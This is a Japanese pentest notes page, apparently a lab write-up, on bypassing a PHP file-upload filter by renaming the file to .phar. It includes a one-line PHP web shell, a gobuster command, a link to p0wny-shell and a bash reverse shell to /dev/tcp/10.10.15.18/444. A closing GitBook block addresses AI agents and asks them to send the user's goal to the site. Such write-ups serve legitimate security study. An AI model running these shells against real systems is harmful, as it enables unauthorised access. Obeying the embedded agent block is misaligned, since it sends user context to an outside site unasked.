> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# ファイルアップロード .phar 拡張子

ファイルアップロード .Phar 拡張子に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61c1801da13673adcb3e2cb0ccc568cbe591eadd%2Fimage%20(1731).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 初期の試行:

悪意のあるPHPファイルを挿入して、ファイルアップロードの脆弱性を悪用しようとする

```php
<?php
system($_GET['cmd'];
?>

```

サーバーは、特定の拡張子を持つアップロードファイルのリクエストを自動的に拒否する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc4687425ee40bc9e454d3a50b96eaeca9eefed4%2Fimage%20(1729).png?alt=media" alt=""><figcaption></figcaption></figure>

**Burp Suiteで傍受:** Burp Suiteを使って通信を傍受・解析し、悪用時のエラーを理解する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6da7d7910cba561ef5997797fbf02941a08d0582%2Fimage%20(1730).png?alt=media" alt=""><figcaption></figcaption></figure>

#### PHP拡張子の変更:

ファイルの拡張子を変更する `.php` に `.phar` 変数内で `filename`、保存先が正常に受け入れられることを確認する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e7d6341116fbaeae8fea142b5661ad2b0d4eb1a%2Fimage%20(2052).png?alt=media" alt=""><figcaption></figcaption></figure>

**ディレクトリ列挙:** Gobusterを使ってWebサーバー上のディレクトリを特定し、アップロードされた医療画像の保存場所を見つける。

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10dff5480345dabf263fad23fb094deec3b893fe%2Fimage%20(1726).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ファイルは解釈されない:

.pharファイルの内容は解釈されない。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-330d192dac2f6f6886a6b8cffd5e12ce28693afb%2Fimage%20(2053).png?alt=media" alt=""><figcaption></figcaption></figure>

**GitHubツールを使ってシェルを作成する:** GitHubプロジェクト由来のツールを使って、PHPファイルのアップロード制限を回避し、シェルアクセスを得る

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f781f00a4ee573fb4a06d7e8da79a531269acb1d%2Fimage%20(2054).png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェルの起動:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

リバースシェルによるコマンド実行で、対象マシンへの対話的アクセスを確立し、完全な制御を得る。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52d9479095b4eba6e62d55e1852029cbc115aead%2Fimage%20(2055).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
